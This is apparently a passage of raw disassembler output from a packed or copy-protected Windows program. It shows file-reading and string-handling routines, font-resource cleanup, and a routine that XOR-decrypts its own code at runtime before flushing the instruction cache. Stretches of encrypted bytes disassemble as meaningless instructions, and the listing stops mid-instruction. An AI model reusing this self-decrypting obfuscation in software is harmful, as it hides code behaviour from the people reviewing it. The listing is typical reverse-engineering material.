CODE XREF: sub_4D3610+4F0j mov ecx, 0EF000006h call sub_4D8342 loc_4D3B15: ; CODE XREF: sub_4D3610+46Fj ; sub_4D3610+4F9j push 0 lea ecx, [ebp+var_154] push ecx push 4 lea edx, [ebp+var_60] push edx mov eax, [ebp+var_28] push eax call ds:dword_4E177C ; ReadFile test eax, eax jz short loc_4D3B3B cmp [ebp+var_154], 4 jz short loc_4D3B45 loc_4D3B3B: ; CODE XREF: sub_4D3610+520j mov ecx, 0EF000006h call sub_4D8342 loc_4D3B45: ; CODE XREF: sub_4D3610+529j push 0 lea ecx, [ebp+var_154] push ecx push 4 lea edx, [ebp+var_70] push edx mov eax, [ebp+var_28] push eax call ds:dword_4E177C ; ReadFile test eax, eax jz short loc_4D3B6B cmp [ebp+var_154], 4 jz short loc_4D3B75 loc_4D3B6B: ; CODE XREF: sub_4D3610+550j mov ecx, 0EF000006h call sub_4D8342 loc_4D3B75: ; CODE XREF: sub_4D3610+559j push 0 lea ecx, [ebp+var_154] push ecx push 4 lea edx, [ebp+var_3C] push edx mov eax, [ebp+var_28] push eax call ds:dword_4E177C ; ReadFile test eax, eax jz short loc_4D3B9B cmp [ebp+var_154], 4 jz short loc_4D3BA5 loc_4D3B9B: ; CODE XREF: sub_4D3610+580j mov ecx, 0EF000006h call sub_4D8342 loc_4D3BA5: ; CODE XREF: sub_4D3610+589j push 0 lea ecx, [ebp+var_154] push ecx push 4 lea edx, [ebp+var_64] push edx mov eax, [ebp+var_28] push eax call ds:dword_4E177C ; ReadFile test eax, eax jz short loc_4D3BCB cmp [ebp+var_154], 4 jz short loc_4D3BD5 loc_4D3BCB: ; CODE XREF: sub_4D3610+5B0j mov ecx, 0EF000006h call sub_4D8342 loc_4D3BD5: ; CODE XREF: sub_4D3610+5B9j push 0 lea ecx, [ebp+var_154] push ecx push 4 lea edx, [ebp+var_6C] push edx mov eax, [ebp+var_28] push eax call ds:dword_4E177C ; ReadFile test eax, eax jz short loc_4D3BFB cmp [ebp+var_154], 4 jz short loc_4D3C05 loc_4D3BFB: ; CODE XREF: sub_4D3610+5E0j mov ecx, 0EF000006h call sub_4D8342 loc_4D3C05: ; CODE XREF: sub_4D3610+5E9j push 0 lea ecx, [ebp+var_154] push ecx push 4 lea edx, [ebp+var_58] push edx mov eax, [ebp+var_28] push eax call ds:dword_4E177C ; ReadFile test eax, eax jz short loc_4D3C2B cmp [ebp+var_154], 4 jz short loc_4D3C35 loc_4D3C2B: ; CODE XREF: sub_4D3610+610j mov ecx, 0EF000006h call sub_4D8342 loc_4D3C35: ; CODE XREF: sub_4D3610+619j mov ecx, [ebp+arg_8] and ecx, 0FFh test ecx, ecx jz loc_4D3E52 cmp [ebp+var_50], 0 jz loc_4D3E52 cmp [ebp+var_34], 0 jz loc_4D3E52 push 24h call sub_4D835A add esp, 4 mov [ebp+var_2D8], eax mov edx, [ebp+var_2D8] mov [ebp+var_158], edx mov eax, [ebp+var_1C] add eax, 1 push eax call sub_4D835A add esp, 4 mov [ebp+var_2DC], eax mov ecx, [ebp+var_158] mov edx, [ebp+var_2DC] mov [ecx+0Ch], edx mov ecx, [ebp+var_1C] add ecx, 1 mov esi, [ebp+arg_0] mov eax, [ebp+var_158] mov edi, [eax+0Ch] mov edx, ecx shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov eax, [ebp+var_158] mov dword ptr [eax], 0 push 10h call sub_4D835A add esp, 4 mov [ebp+var_2E0], eax mov ecx, [ebp+var_158] mov edx, [ebp+var_2E0] mov [ecx+4], edx push 4 call sub_4D835A add esp, 4 mov [ebp+var_2E4], eax mov eax, [ebp+var_158] mov ecx, [ebp+var_2E4] mov [eax+8], ecx mov edx, [ebp+var_158] mov dword ptr [edx+18h], 1 mov eax, [ebp+var_158] mov dword ptr [eax+14h], 0 push 0 push 0 mov ecx, [ebp+var_158] add ecx, 1Ch push ecx mov edx, [ebp+var_28] push edx call ds:dword_4E1704 ; GetFileTime mov edi, ds:dword_4E190C or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 0FFFFFFFFh mov eax, ds:dword_4E1908 sub ecx, [eax+0C14h] mov [ebp+var_15C], ecx mov ecx, [ebp+var_15C] add ecx, 1 push ecx call sub_4D835A add esp, 4 mov [ebp+var_2E8], eax mov edx, [ebp+var_158] mov eax, [edx+4] mov ecx, [ebp+var_2E8] mov [eax], ecx mov edx, [ebp+var_158] mov eax, [edx+4] mov ecx, [ebp+var_158] mov edx, [ecx+8] mov eax, [eax] mov [edx], eax mov ecx, [ebp+var_15C] add ecx, 1 mov edx, ds:dword_4E1908 mov esi, ds:dword_4E190C add esi, [edx+0C14h] mov eax, [ebp+var_158] mov edx, [eax+8] mov edi, [edx] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebp+var_15C] push ecx mov edx, [ebp+var_158] mov eax, [edx+8] mov ecx, [eax] push ecx call ds:dword_4E17C8 ; CharUpperBuffA mov edx, [ebp+var_158] mov eax, [edx+4] mov ecx, [ebp+var_34] mov [eax+4], ecx mov edx, [ebp+var_158] mov eax, [edx+4] mov ecx, [ebp+var_50] mov [eax+8], ecx mov edx, [ebp+var_158] mov eax, [edx+4] mov ecx, [ebp+var_38] mov [eax+0Ch], ecx mov edx, ds:dword_4E1908 mov [ebp+var_160], edx mov eax, [ebp+var_158] mov ecx, [ebp+var_160] mov edx, [ecx] mov [eax+10h], edx mov eax, [ebp+var_160] mov ecx, [ebp+var_158] mov [eax], ecx mov edx, ds:dword_4E1908 mov eax, [edx+4] add eax, 1 mov ecx, ds:dword_4E1908 mov [ecx+4], eax loc_4D3E52: ; CODE XREF: sub_4D3610+630j ; sub_4D3610+63Aj ... mov edx, [ebp+var_54] sub edx, [ebp+var_58] mov [ebp+var_58], edx mov eax, [ebp+var_3C] add eax, [ebp+var_58] mov [ebp+var_3C], eax mov ecx, [ebp+var_54] sub ecx, [ebp+var_3C] test ecx, ecx jb short loc_4D3E79 mov edx, [ebp+var_54] sub edx, [ebp+var_3C] cmp [ebp+var_60], edx jbe short loc_4D3E83 loc_4D3E79: ; CODE XREF: sub_4D3610+85Cj mov ecx, 0EF000007h call sub_4D8342 loc_4D3E83: ; CODE XREF: sub_4D3610+867j mov eax, [ebp+var_60] push eax call sub_4D835A add esp, 4 mov [ebp+var_2EC], eax mov ecx, [ebp+var_2EC] mov [ebp+var_24], ecx mov [ebp+var_234], 0 mov [ebp+var_238], 0 push 0 push 0 mov edx, [ebp+var_3C] push edx mov eax, [ebp+var_28] push eax call ds:dword_4E1788 ; SetFilePointer loc_4D3EC4: ; CODE XREF: sub_4D3610+90Aj mov ecx, [ebp+var_238] cmp ecx, [ebp+var_60] jz short loc_4D3F1C mov [ebp+var_234], 0 push 0 lea edx, [ebp+var_234] push edx mov eax, [ebp+var_60] sub eax, [ebp+var_238] push eax mov ecx, [ebp+var_24] push ecx mov edx, [ebp+var_28] push edx call ds:dword_4E177C ; ReadFile test eax, eax jnz short loc_4D3F08 mov ecx, 0EF000006h call sub_4D8342 loc_4D3F08: ; CODE XREF: sub_4D3610+8ECj mov eax, [ebp+var_238] add eax, [ebp+var_234] mov [ebp+var_238], eax jmp short loc_4D3EC4 ; --------------------------------------------------------------------------- loc_4D3F1C: ; CODE XREF: sub_4D3610+8BDj push 120000h call sub_4CDB7E fxch4 st(2) push esp mov ebp, 46EE4704h fst st iret sub_4D3610 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0F5h, 0E9h, 1Eh dd 0D5E28C45h, 8C62D4A7h, 7CF0AAEEh, 88AF283Eh, 0D6A56BD3h dd 7F01D584h, 9F85C5B6h, 0E7618390h, 0A2424F41h, 0FED9E4FEh dd 0CDB905E3h, 55C9DCC0h, 0EF5F05A1h, 6E843F49h, 52F6001Ah dd 67F55184h, 978DDDCEh, 1D797B88h, 0BA3A4746h, 6F9ECF7h dd 0C5B6D5FBh, 339090B8h, 75D285D2h, 4C8D8DEEh, 0E8FFFFFDh dd 37FCh, 50A0458Bh, 51DC4D8Bh, 0FD4C8D8Dh, 0F5E8FFFFh dd 8D000037h, 0FFFDB895h, 8D8D52FFh, 0FFFFFD4Ch, 389CE8h dd 4B900h, 0BD8D0000h, 0FFFFFDB8h, 33B4758Dh, 74A7F3C0h dd 7B90Ah, 63E8EF00h, 6A000043h, 4374E824h, 0C4830000h dd 10858904h, 8BFFFFFDh, 0FFFD108Dh, 0E04D89FFh, 83E4558Bh dd 0E85201C2h, 4356h, 8904C483h, 0FFFD0C85h, 0E0458BFFh dd 0FD0C8D8Bh, 4889FFFFh, 0E44D8B0Ch, 8B01C183h, 558B0875h dd 0C7A8BE0h, 0E9C1C18Bh, 8BA5F302h, 3E183C8h, 4D8BA4F3h dd 0DC558BE0h, 458B1189h, 9C4503DCh, 89E04D8Bh, 558B0441h dd 2E2C194h, 4304E852h, 0C4830000h, 8858904h, 8BFFFFFDh dd 8D8BE045h, 0FFFFFD08h, 8B084889h, 458BE055h, 18428994h dd 0C7E04D8Bh, 1441h, 558D0000h, 458D52D0h, 4D8B50D0h dd 1CC183E0h, 0D8558B51h, 415FF52h, 8B004E17h, 7883E045h dd 16750020h, 83E04D8Bh, 75001C79h, 0E0558B0Dh, 521CC283h dd 172C15FFh, 45C7004Eh, 0A4h, 8B09EB00h, 0C083A445h, 0A4458901h dd 3BA44D8Bh, 830F944Dh, 0E3h, 0C1A4558Bh, 458B04E2h, 4488BE0h dd 3DC458Bh, 4D8B1104h, 4E1C1A4h, 8BE0558Bh, 4890452h dd 0A4458B0Ah, 8B04E0C1h, 518BE04Dh, 23C8B04h, 33FFC983h dd 0F7AEF2C0h, 0FFC183D1h, 0FD488D89h, 858BFFFFh, 0FFFFFD48h dd 5001C083h, 4235E8h, 4C48300h, 0FD048589h, 4D8BFFFFh dd 8518BE0h, 8BA4458Bh, 0FFFD048Dh, 820C89FFh, 0FD488D8Bh dd 0C183FFFFh, 0A4558B01h, 8B04E2C1h db 45h, 0E0h word_4D4152 dw 408Bh ; DATA XREF: _2:off_429D5Co dd 10348B04h, 8BE0558Bh, 558B0842h, 903C8BA4h, 0E9C1C18Bh dd 8BA5F302h, 3E183C8h, 8D8BA4F3h, 0FFFFFD48h, 0A4558B51h dd 8B04E2C1h, 488BE045h, 11148B04h, 0C815FF52h, 8B004E17h dd 0E0C1A445h, 0E04D8B04h, 8B04518Bh, 3040244h, 4D8BA845h dd 4E1C1A4h, 8BE0558Bh, 44890452h, 8E9040Ah, 8BFFFFFFh dd 4503DC45h, 0FC7881A0h, 0FEFEFEFEh, 0A7850Fh, 4D8B0000h dd 0A04D03DCh, 89F8518Bh, 0FFFD3C95h, 0DC458BFFh, 8BA04503h dd 8D89F448h, 0FFFFFD40h, 3DC558Bh, 0FFFD4095h, 449589FFh dd 0C7FFFFFDh, 0FFFD3885h, 0FFh, 8B0FEB00h, 0FFFD3885h dd 1C083FFh, 0FD388589h, 8D8BFFFFh, 0FFFFFD38h, 0FD3C8D3Bh dd 3A73FFFFh, 0FD38958Bh, 0D26BFFFFh, 44858B18h, 3FFFFFDh dd 348589C2h, 8BFFFFFDh, 0FFFD348Dh, 0DC558BFFh, 8B105103h dd 0FFFD3485h, 105089FFh, 0FD348D8Bh, 8D89FFFFh, 0FFFFFD30h dd 958BA9EBh, 0FFFFFD44h, 18F01589h, 858B004Eh, 0FFFFFD3Ch dd 4E18F4A3h, 80D8B00h, 89004E19h, 0FFFD2C8Dh, 2C958BFFh dd 83FFFFFDh, 840F003Ah, 152h, 8908458Bh, 0FFFCF485h, 2C8D8BFFh dd 8BFFFFFDh, 0C428B11h, 0FCF08589h, 8D8BFFFFh, 0FFFFFCF0h dd 9588118Ah, 0FFFFFCEFh, 0FCF4858Bh, 103AFFFFh, 0BD804675h dd 0FFFFFCEFh, 8B317400h, 0FFFCF08Dh, 1518AFFh, 0FCEE9588h dd 858BFFFFh, 0FFFFFCF4h, 7501503Ah, 0F0858323h, 2FFFFFCh dd 0FCF48583h, 8002FFFFh, 0FFFCEEBDh, 0AE7500FFh, 0FCE885C7h dd 0FFFFh, 0BEB0000h, 0D983C91Bh, 0E88D89FFh, 8BFFFFFCh dd 0FFFCE895h, 0E49589FFh, 83FFFFFCh, 0FFFCE4BDh, 57D00FFh dd 0B5E9h, 1908A100h, 0C083004Eh, 0E0858910h, 8BFFFFFCh dd 0FFFD2C8Dh, 8B118BFFh, 85890C42h, 0FFFFFCDCh, 0FCDC8D8Bh dd 118AFFFFh, 0FCDB9588h, 858BFFFFh, 0FFFFFCE0h, 4675103Ah dd 0FCDBBD80h, 7400FFFFh, 0DC8D8B31h, 8AFFFFFCh, 95880151h dd 0FFFFFCDAh, 0FCE0858Bh, 503AFFFFh, 83237501h, 0FFFCDC85h dd 858302FFh, 0FFFFFCE0h, 0DABD8002h, 0FFFFFCh, 85C7AE75h dd 0FFFFFCD4h, 0 ; --------------------------------------------------------------------------- jmp short loc_4D43B1 ; --------------------------------------------------------------------------- sbb ecx, ecx sbb ecx, 0FFFFFFFFh mov [ebp-32Ch], ecx loc_4D43B1: ; CODE XREF: _4:004D43A4j mov edx, [ebp-32Ch] mov [ebp-330h], edx cmp dword ptr [ebp-330h], 0 jnz short loc_4D43C8 jmp short loc_4D43DE ; --------------------------------------------------------------------------- loc_4D43C8: ; CODE XREF: _4:004D43C4j mov eax, [ebp-2D4h] mov ecx, [eax] add ecx, 10h mov [ebp-2D4h], ecx jmp near ptr dword_4D4154+129h ; --------------------------------------------------------------------------- loc_4D43DE: ; CODE XREF: _4:004D43C6j mov edx, [ebp-20h] mov eax, [ebp-2D4h] mov ecx, [eax] mov [edx+10h], ecx mov edx, [ebp-2D4h] mov eax, [ebp-20h] mov [edx], eax mov ecx, ds:dword_4E1908 mov edx, [ecx+4] add edx, [ebp-6Ch] mov eax, ds:dword_4E1908 mov [eax+4], edx mov dword ptr [ebp-24h], 0 mov dword ptr [ebp-20h], 0 mov dword ptr [ebp-4], 0FFFFFFFFh call sub_4D4427 jmp short loc_4D4474 ; =============== S U B R O U T I N E ======================================= sub_4D4427 proc near ; CODE XREF: _4:004D4420p ; DATA XREF: _5:004DE428o cmp dword ptr [ebp-28h], 0FFFFFFFFh jz short loc_4D4437 mov ecx, [ebp-28h] push ecx call ds:dword_4E16A4 ; CloseHandle loc_4D4437: ; CODE XREF: sub_4D4427+4j cmp dword ptr [ebp-24h], 0 jz short loc_4D4455 mov edx, [ebp-24h] mov [ebp-300h], edx mov eax, [ebp-300h] push eax call sub_4D83DD add esp, 4 loc_4D4455: ; CODE XREF: sub_4D4427+14j cmp dword ptr [ebp-20h], 0 jz short locret_4D4473 mov ecx, [ebp-20h] mov [ebp-304h], ecx mov edx, [ebp-304h] push edx call sub_4D83DD add esp, 4 locret_4D4473: ; CODE XREF: sub_4D4427+32j retn sub_4D4427 endp ; --------------------------------------------------------------------------- loc_4D4474: ; CODE XREF: _4:004D4425j mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D4490 proc near ; CODE XREF: sub_4D2DD0+623p var_58 = dword ptr -58h var_54 = dword ptr -54h var_4E = byte ptr -4Eh var_4D = byte ptr -4Dh var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004D46B5 SIZE 00000011 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DE430 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFB8h push ebx push esi push edi mov [ebp+var_1C], 0 mov [ebp+var_4], 0 mov eax, ds:dword_4E1908 mov dword ptr [eax+0Ch], 0 mov ecx, ds:dword_4E1908 mov edx, [ecx+4] shl edx, 4 push edx call sub_4D835A add esp, 4 mov [ebp+var_40], eax mov eax, [ebp+var_40] mov [ebp+var_1C], eax loc_4D44EB: ; CODE XREF: sub_4D4490+1E7j mov [ebp+var_34], 0 mov [ebp+var_28], 0 mov [ebp+var_30], 0 mov ecx, ds:dword_4E1908 mov edx, [ecx] mov [ebp+var_20], edx jmp short loc_4D4516 ; --------------------------------------------------------------------------- loc_4D450D: ; CODE XREF: sub_4D4490+9Ej ; sub_4D4490+132j ... mov eax, [ebp+var_20] mov ecx, [eax+10h] mov [ebp+var_20], ecx loc_4D4516: ; CODE XREF: sub_4D4490+7Bj cmp [ebp+var_20], 0 jz loc_4D45F9 mov edx, [ebp+var_20] mov eax, [ebp+var_20] mov ecx, [edx+14h] cmp ecx, [eax+18h] jnz short loc_4D4530 jmp short loc_4D450D ; --------------------------------------------------------------------------- loc_4D4530: ; CODE XREF: sub_4D4490+9Cj cmp [ebp+var_30], 0 jz loc_4D45D2 mov edx, [ebp+var_20] mov eax, [edx+14h] shl eax, 4 mov ecx, [ebp+var_20] mov edx, [ecx+4] add edx, eax mov [ebp+var_38], edx mov eax, [ebp+var_30] mov [ebp+var_48], eax mov ecx, [ebp+var_38] mov edx, [ecx] mov [ebp+var_4C], edx loc_4D455C: ; CODE XREF: sub_4D4490+FEj mov eax, [ebp+var_4C] mov cl, [eax] mov [ebp+var_4D], cl mov edx, [ebp+var_48] cmp cl, [edx] jnz short loc_4D4599 cmp [ebp+var_4D], 0 jz short loc_4D4590 mov eax, [ebp+var_4C] mov cl, [eax+1] mov [ebp+var_4E], cl mov edx, [ebp+var_48] cmp cl, [edx+1] jnz short loc_4D4599 add [ebp+var_4C], 2 add [ebp+var_48], 2 cmp [ebp+var_4E], 0 jnz short loc_4D455C loc_4D4590: ; CODE XREF: sub_4D4490+DFj mov [ebp+var_54], 0 jmp short loc_4D45A1 ; --------------------------------------------------------------------------- loc_4D4599: ; CODE XREF: sub_4D4490+D9j ; sub_4D4490+F0j sbb eax, eax sbb eax, 0FFFFFFFFh mov [ebp+var_54], eax loc_4D45A1: ; CODE XREF: sub_4D4490+107j mov ecx, [ebp+var_54] mov [ebp+var_58], ecx mov edx, [ebp+var_58] mov [ebp+var_3C], edx cmp [ebp+var_3C], 0 jnz short loc_4D45C7 mov eax, [ebp+var_20] mov ecx, [eax+14h] add ecx, 1 mov edx, [ebp+var_20] mov [edx+14h], ecx jmp loc_4D450D ; --------------------------------------------------------------------------- loc_4D45C7: ; CODE XREF: sub_4D4490+121j cmp [ebp+var_3C], 0 jle short loc_4D45D2 jmp loc_4D450D ; --------------------------------------------------------------------------- loc_4D45D2: ; CODE XREF: sub_4D4490+A4j ; sub_4D4490+13Bj mov eax, [ebp+var_20] mov [ebp+var_28], eax mov ecx, [ebp+var_28] mov edx, [ecx+14h] shl edx, 4 mov eax, [ebp+var_28] mov ecx, [eax+4] add ecx, edx mov [ebp+var_34], ecx mov edx, [ebp+var_34] mov eax, [edx] mov [ebp+var_30], eax jmp loc_4D450D ; --------------------------------------------------------------------------- loc_4D45F9: ; CODE XREF: sub_4D4490+8Aj cmp [ebp+var_30], 0 jnz short loc_4D4601 jmp short loc_4D467C ; --------------------------------------------------------------------------- loc_4D4601: ; CODE XREF: sub_4D4490+16Dj mov ecx, ds:dword_4E1908 mov edx, [ecx+0Ch] shl edx, 4 mov eax, [ebp+var_1C] add eax, edx mov [ebp+var_24], eax mov ecx, [ebp+var_24] mov edx, [ebp+var_34] mov [ecx], edx mov eax, [ebp+var_24] mov ecx, [ebp+var_28] mov [eax+0Ch], ecx mov edx, [ebp+var_24] mov dword ptr [edx+8], 0 mov eax, [ebp+var_28] mov ecx, [ebp+var_34] sub ecx, [eax+4] sar ecx, 4 mov edx, [ebp+var_28] mov eax, [edx+8] mov edx, [ebp+var_24] mov eax, [eax+ecx*4] mov [edx+4], eax mov ecx, [ebp+var_24] mov edx, [ecx+4] mov [ebp+var_2C], edx mov eax, ds:dword_4E1908 mov ecx, [eax+0Ch] add ecx, 1 mov edx, ds:dword_4E1908 mov [edx+0Ch], ecx mov eax, [ebp+var_28] mov ecx, [eax+14h] add ecx, 1 mov edx, [ebp+var_28] mov [edx+14h], ecx jmp loc_4D44EB ; --------------------------------------------------------------------------- loc_4D467C: ; CODE XREF: sub_4D4490+16Fj mov eax, ds:dword_4E1908 mov ecx, [ebp+var_1C] mov [eax+8], ecx mov [ebp+var_1C], 0 mov [ebp+var_4], 0FFFFFFFFh call sub_4D469C jmp short loc_4D46B5 sub_4D4490 endp ; =============== S U B R O U T I N E ======================================= sub_4D469C proc near ; CODE XREF: sub_4D4490+205p ; DATA XREF: _5:004DE438o cmp dword ptr [ebp-1Ch], 0 jz short locret_4D46B4 mov edx, [ebp-1Ch] mov [ebp-44h], edx mov eax, [ebp-44h] push eax call sub_4D83DD add esp, 4 locret_4D46B4: ; CODE XREF: sub_4D469C+4j retn sub_4D469C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4D4490 loc_4D46B5: ; CODE XREF: sub_4D4490+20Aj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_4D4490 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D46D0 proc near ; CODE XREF: sub_4DA0C8+77p var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004D47AE SIZE 00000011 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DE440 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE4h push ebx push esi push edi mov eax, ds:dword_4E18E8 mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz short loc_4D4714 mov ecx, [ebp+var_24] add ecx, 10h push ecx call ds:dword_4DE01C ; RtlEnterCriticalSection mov byte ptr [ebp+var_28], 1 jmp short loc_4D4718 ; --------------------------------------------------------------------------- loc_4D4714: ; CODE XREF: sub_4D46D0+2Fj mov byte ptr [ebp+var_28], 0 loc_4D4718: ; CODE XREF: sub_4D46D0+42j mov edx, [ebp+var_28] and edx, 0FFh test edx, edx jz loc_4D47AE mov [ebp+var_4], 0 cmp ds:dword_4E18E8, 0 jz short loc_4D4783 mov ecx, ds:dword_4E18E8 call sub_4DBA67 loc_4D4744: ; CODE XREF: sub_4D46D0:loc_4D4781j lea eax, [ebp+var_1C] push eax lea ecx, [ebp+var_20] push ecx mov ecx, ds:dword_4E18E8 call sub_4DBA7E and eax, 0FFh test eax, eax jz short loc_4D4783 mov edx, [ebp+var_1C] cmp dword ptr [edx], 0 jnz short loc_4D4781 mov eax, [ebp+var_20] mov ecx, [eax] push ecx call ds:dword_4E17EC ; RemoveFontResourceA mov edx, [ebp+var_1C] mov eax, [edx+4] push eax call ds:dword_4E16C0 ; DeleteFileA loc_4D4781: ; CODE XREF: sub_4D46D0+96j jmp short loc_4D4744 ; --------------------------------------------------------------------------- loc_4D4783: ; CODE XREF: sub_4D46D0+67j ; sub_4D46D0+8Ej mov [ebp+var_4], 0FFFFFFFFh call sub_4D4791 jmp short loc_4D47AE sub_4D46D0 endp ; =============== S U B R O U T I N E ======================================= sub_4D4791 proc near ; CODE XREF: sub_4D46D0+BAp ; DATA XREF: _5:004DE448o mov ecx, ds:dword_4E18E8 mov [ebp-2Ch], ecx cmp dword ptr [ebp-2Ch], 0 jz short locret_4D47AD mov edx, [ebp-2Ch] add edx, 10h push edx call ds:dword_4DE018 ; RtlLeaveCriticalSection locret_4D47AD: ; CODE XREF: sub_4D4791+Dj retn sub_4D4791 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4D46D0 loc_4D47AE: ; CODE XREF: sub_4D46D0+53j ; sub_4D46D0+BFj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_4D46D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D47BF proc near ; CODE XREF: sub_4D489D+Cp var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004D488E SIZE 0000000F BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DE450 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 1Ch push ebx push esi push edi mov [ebp+var_34], edx mov [ebp+var_30], ecx mov eax, offset dword_4CD720 push dword ptr [eax+4] call ds:dword_4E16C4 ; RtlEnterCriticalSection and [ebp+var_4], 0 mov eax, [ebp+var_30] mov eax, [eax] mov [ebp+var_24], eax mov eax, [ebp+var_30] mov eax, [eax-4] mov [ebp+var_2C], eax mov eax, [ebp+var_24] and eax, 0FFFFh mov ecx, [ebp+var_2C] sub ecx, eax mov [ebp+var_1C], ecx mov eax, [ebp+var_24] shr eax, 10h mov ecx, [ebp+var_2C] add ecx, eax mov [ebp+var_28], ecx mov eax, [ebp+var_1C] mov [ebp+var_20], eax jmp short loc_4D483A ; --------------------------------------------------------------------------- loc_4D4833: ; CODE XREF: sub_4D47BF+9Dj mov eax, [ebp+var_1C] inc eax mov [ebp+var_1C], eax loc_4D483A: ; CODE XREF: sub_4D47BF+72j mov eax, [ebp+var_1C] cmp eax, [ebp+var_28] jz short loc_4D485E mov eax, [ebp+var_1C] imul eax, 19660Dh add eax, 3C6EF35Fh mov ecx, [ebp+var_1C] mov cl, [ecx] xor cl, al mov eax, [ebp+var_1C] mov [eax], cl jmp short loc_4D4833 ; --------------------------------------------------------------------------- loc_4D485E: ; CODE XREF: sub_4D47BF+81j mov eax, [ebp+var_28] sub eax, [ebp+var_20] push eax push [ebp+var_20] push ds:dword_4E168C call ds:dword_4E1670 ; FlushInstructionCache or [ebp+var_4], 0FFFFFFFFh call sub_4D487F jmp short loc_4D488E sub_4D47BF endp ; =============== S U B R O U T I N E ======================================= sub_4D487F proc near ; CODE XREF: sub_4D47BF+B9p ; DATA XREF: _5:004DE458o mov eax, offset dword_4CD720 push dword ptr [eax+4] call ds:dword_4E1754 ; RtlLeaveCriticalSection retn sub_4D487F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4D47BF loc_4D488E: ; CODE XREF: sub_4D47BF+BEj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; END OF FUNCTION CHUNK FOR sub_4D47BF ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D489D proc near ; CODE XREF: sub_4CDB7Ej arg_0 = byte ptr 8 push ebp mov ebp, esp push ebx push esi push edi pusha xor edx, edx lea ecx, [ebp+arg_0] call sub_4D47BF popa pop edi pop esi pop ebx pop ebp retn 4 sub_4D489D endp ; --------------------------------------------------------------------------- loc_4D48B6: ; CODE XREF: _4:004CDB83j _4:004CDB88j mov ecx, 0EF000008h call sub_4D8342 loc_4D48C0: ; CODE XREF: sub_4D4DC0+12Ap push ebp mov ebp, esp sub esp, 0F8h push ebx push esi push edi cmp dword ptr [ebp+0Ch], 0 jz loc_4D498A push 300000h call sub_4CDB7E das pop esp jmp far ptr 0ACF4h:78C07626h ; --------------------------------------------------------------------------- db 79h, 51h, 0C5h dd 0D3767C0Eh, 9A3C1583h, 61222F3Ch, 569A14B2h, 51ACF93Bh dd 795DE1D6h, 8AC55F6Ch, 6E1F4C7h, 0DDEA9A95h, 847AACBFh dd 6408A2E6h, 0F0A72036h, 0DEAD53CBh, 0D9318176h, 7A25BFCCh dd 66815367h, 3D4A3AD5h, 24DA4C5Fh, 0C468C286h, 0A179C1BCh dd 52068794h, 4B34FCBFh, 5121FE3h, 0D1F96FEFh, 627220C4h dd 0B1617C44h, 5A424F31h, 7B38D747h, 0B9CB6DC2h, 99A668AAh dd 1F06D28Ch, 313E4B8Bh, 3278658Bh, 0DED6E3F0h, 95A2B3C9h dd 9E91AF1Fh, 433950ABh, 90901320h, 0C985C933h db 75h, 0EEh ; --------------------------------------------------------------------------- loc_4D498A: ; CODE XREF: _4:004D48D0j cmp dword ptr [ebp+8], 0 jz loc_4D4A9D mov dword ptr [ebp-0E4h], 0 push 5F0000h call sub_4CDB7E ja short loc_4D4A0E xor bl, ah sahf cli inc eax lodsb les ebx, [ecx] ; CODE XREF: _4:004D49B2j jns short near ptr loc_4D49B0+1 into test [esi+5C4DBBE2h], bl ; --------------------------------------------------------------------------- db 0FEh ; --------------------------------------------------------------------------- adc al, 7 cli cdq mov cl, [esi+eax*8] mov ecx, 0F36FEBACh add cl, [esi+ebx*2+58434451h] retn 310h ; --------------------------------------------------------------------------- dw 9DF6h dd 0DFB43472h, 818E9B43h, 4DB11D00h, 0E893340h, 1A0D3981h dd 0C745F0A4h, 7D8A64DEh, 0BA241770h, 63222F3Ch, 0E1EE187Ah dd 521A50D4h, 0F1916C2Ch, 2A525F02h, 6B33E757h db 29h byte_4D4A0D db 7Dh ; CODE XREF: _4:004D4A36j ; --------------------------------------------------------------------------- loc_4D4A0E: ; CODE XREF: _4:004D49A8j sti test eax, 0A9B628A2h pushf loc_4D4A15: ; CODE XREF: _4:004D4A20j sti enter 68AAh, 5Bh dec esi cmp eax, 